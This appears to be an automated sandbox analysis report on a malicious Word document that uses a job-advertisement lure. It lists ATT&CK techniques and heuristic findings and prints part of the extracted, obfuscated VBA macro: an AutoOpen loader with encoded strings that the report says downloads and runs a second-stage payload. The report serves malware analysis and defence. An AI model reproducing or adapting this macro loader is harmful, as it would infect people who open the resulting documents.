MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample is a malicious Word document containing obfuscated VBA macros. The AutoOpen macro attempts to delete document content, enable hidden text, and then uses GetObject and ShellExecute to download and execute a second-stage payload. The lure of a job advertisement is used to encourage users to enable macros.
Heuristics 8
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10798 bytes |
SHA-256: 4b4a35275b3ee80552f7076ef33951935d3638f1e924e31d7a41e22839f00576 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Dim shp As Shape
For Each shp In ActiveDocument.Shapes
shp.Delete
Next shp
ActiveDocument.ActiveWindow.View.ShowHiddenText = True
Dim RPsPjIOgnZ As String
Dim fdDHETNWeJPgIJcV As Object
Dim UZlSYrRgiUTmol As Integer
Dim vFMeCcgmVJz As String
Dim jybyUJahUZozDnkx As String
UZlSYrRgiUTmol = 865
RPsPjIOgnZ = VwCcLDFUSUTAfKi()
If (RPsPjIOgnZ = "VdHADHrqwbodQDwDHgogd") Then
jybyUJahUZozDnkx = IbPAcFuuPDd("nHvFYOdrFS")
Set fdDHETNWeJPgIJcV = GetObject(jybyUJahUZozDnkx)
vFMeCcgmVJz = HSwEsTLiNWVRdlvEjXRpYvJ("nHvFYOdrFS")
vFMeCcgmVJz = GMhrvIKfBDK(fdDHETNWeJPgIJcV, vFMeCcgmVJz, UZlSYrRgiUTmol)
End If
End Sub
Function HSwEsTLiNWVRdlvEjXRpYvJ(IyPBoIqGZrRxalLVwe As String) As String
Dim eVnckhkVatJtPfIjzoNzLVRj As String
Dim OaFdVXYIDix As String
Dim eqaqrjBxtQKvkfpp As String
eqaqrjBxtQKvkfpp = "ts{ivwlipp$1rsT$1wxe$1{$5$1irg$$WUFqEGkENEFUEJQEZkFpELMEY{FtEI<EfkFYEKIEUkFQEIYEPkFUEJQEZkFpELMEg{FNEI<EfkEyEI4E]UFuEI<EgkEkEG4E^{FJEGEEQ{EtELwENEFLEJEEVkE=EJwEgkFpEK]E\UEyEIIEY{FXEKYEfUFmEK{E[UEyEIgE"
Dim DkeaCPSzFbJbJsxnXXe As String
DkeaCPSzFbJbJsxnXXe = "VUF4EJUE[UF{EIYEOEErEJQEiUF~ELUE^UFxEG8EXUFlEK8E]UFrEKYEfUFpEK8EhEEyEIIEhUF4EK<EfUFlELUEeUFzEK8EPkFZELUEeUFwELQEN{EtEG8EMkFLEIYEZEFKEIoE^UFkEI{E^EEmEGkEN{FnEKIE]{FsEKYE^EFLELMEf{F5ELEEYEFzEK{EeUFnELoE"
Dim aklPGX As String
aklPGX = "Y{FpELUEhEFtEK8E^{F~EGgEPEErEI8EN{EvEGgEf{FyEJEEhUFmEK{EeUFnEG{EY{F4EKIEhEFtEKQEN{EtEHwEWUFqEGkENEFLEJEEVkEtELwENEFLEJEEU{E=EGUEV{FUEI]EPkFLEIYEZEF[EIIEfEFZEIYEOEEoEK8EZUFQEK{EOUE;EIoEVkEsEGUEV{FUEIQE"
Dim dwTRq As String
dwTRq = "[{ErEJQE]{F}EKoEgEF4EIMEN{EvEGgEfEFzEKQEe{FQEK<E^{FrEKoEfkFrEGgE\UEtELwENEFLEJEEU{FfEGgEY{FnELMEeUF{ELUEUkErEGwEN{FwEK<E]{FvEI{Ef{FrEKgEeUFyEKgEN{FhEJwEN{FJEK8E]UFmEK{E^UFXEKQEgkFtELEEhEFGEGgEO{ErEK{E"
Dim rMXZrpvKq As String
rMXZrpvKq = "f{FnEKwEXEFzEKgE^{FtEK8E^{ErEJ4ETUE{EHwENEFLEJEEU{FfEGgEY{FnELMEeUF{ELUEUkErEGwEN{FwEK<E]{FvEI{Ef{FrEKgEeUFyEKgEN{FhEJwEN{FJEK8E]UFmEK{E^UFXEKQEgkFtELEEhEFGEK{Ef{FnEKwEWUFyEL]Ef{FnEKIEhEFtEK<EfkFQEK<E"
Dim VujUzwwMo As String
VujUzwwMo = "^{FrEKoEfkFrEGgE\UE=EHEEjUEoEJ]E]UFQEH4E[{FHEI<EfEFwEKYEU{FYEKoEf{FyEJQEPkFLEIYEfkFJEJMEeUFHEG8EVEFNEKQEhEFNEI<EXkFlEJME[UFfELQEhEFWEKoEXkFrEG{EY{F9ELQEZEFpEI4EPkFTEKMEWkFJEKQEhEFhEJ4ESkE:EI8E^UF7EGkE"
Dim nUntXhMhf As String
nUntXhMhf = "OUE;EGUEZkFlEI{EPkFFEKUE^EEsEGgEVUFyEKIE]kFwEKYEY{FnELMEeUF{ELUEUkErEGwEN{FwEK<E]{FvEI{Ef{FrEKgEeUFyEKgEN{EwEHEEOUE;EGUEZkFFEK{EPkFFEIUEVEEsEGgEVUFyEKIE]kFwEKYEY{FnELMEeUF{ELUEUkFwEK<E]{FvEIoEfkF6EK<E"
Dim XRCbRLJhOoBVkx As String
XRCbRLJhOoBVkx = "]{FlELUEeUFzEK8EXEFzEKgE^{FtEK8E^{ErEG{EQEEtEHwENEFLEJEEU{FfEGgEWEFPEIYE[UFjEI{EX{FHEIIEXEFjEI4EUUFHEIkEWUFSEIYE\EFXEK<E^kF4ELgE]UF}EKYE\EFUEK<EfEFtEKQEeUFpELQE\EFREKoE]{F}EK<Eg{FzEK]EhEFgEJgEeUFyEKUE"
Dim tMofkLWEe As String
tMofkLWEe = "f{F7ELQE\EFUEK<Eh{FpELMEY{FsEKYEfEFwEJ{EY{FnELMEeUF{ELUEUkErEGwEN{FwEK<E]{FvEI{Ef{FrEKgEeUFyEKgEN{FhEH4ENEF[EIIEXEF=EIYEfEF~EIYEi{FfEJQE]{FWEIoEgEFYEIMEXEFzEIQEW{FhEG8EMkFLEIYEhEFKEIoEVUFkEI{EVEEmEGkE"
Dim uJqincvGZGvUUV As String
uJqincvGZGvUUV = "N{F~EKoE^{FyEKIEhEF5ELME^UF~EGgEPEErEI8EN{EvEGgEf{FyEJEEhUFmEK{EeUFnEG{EY{F4EKIEhEFtEKQEN{EtEG8EY{FJELUEZkFFEK{EZUFJEGkENEFSEJYEfEFwEG{EOEFSEKYEZ{ExEI<E]kFuEKYEU{FYEGEEU{FzEK{EfEFpEKQEhEFNEK<EXkFXEG8E"
Dim HCipncBAgJbUIVOGqbx As String
HCipncBAgJbUIVOGqbx = "V{FJEK8E^UF}EKoEU{EyEIkEUUF~EKkEY{FpELUE[{F~EJUEYkFtEK8E^{FhEGoEOUF=EJwEYkFpEK]E\UEyEIIEg{F~EIYEXUFmEK{E[UEyEIgE^UFYEJUE[UFUEKYEOEErEJQEiUF~ELUE^UFxEG8EXUFlEK8E]UFrEKYEfUFpEK8EhEEyEIIEhUF4EK<EfUFlELUE"
Dim xXeiIxpJFzMkTwnyTYW As String
xXeiIxpJFzMkTwnyTYW = "eUFzEK8EPkFFEK
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.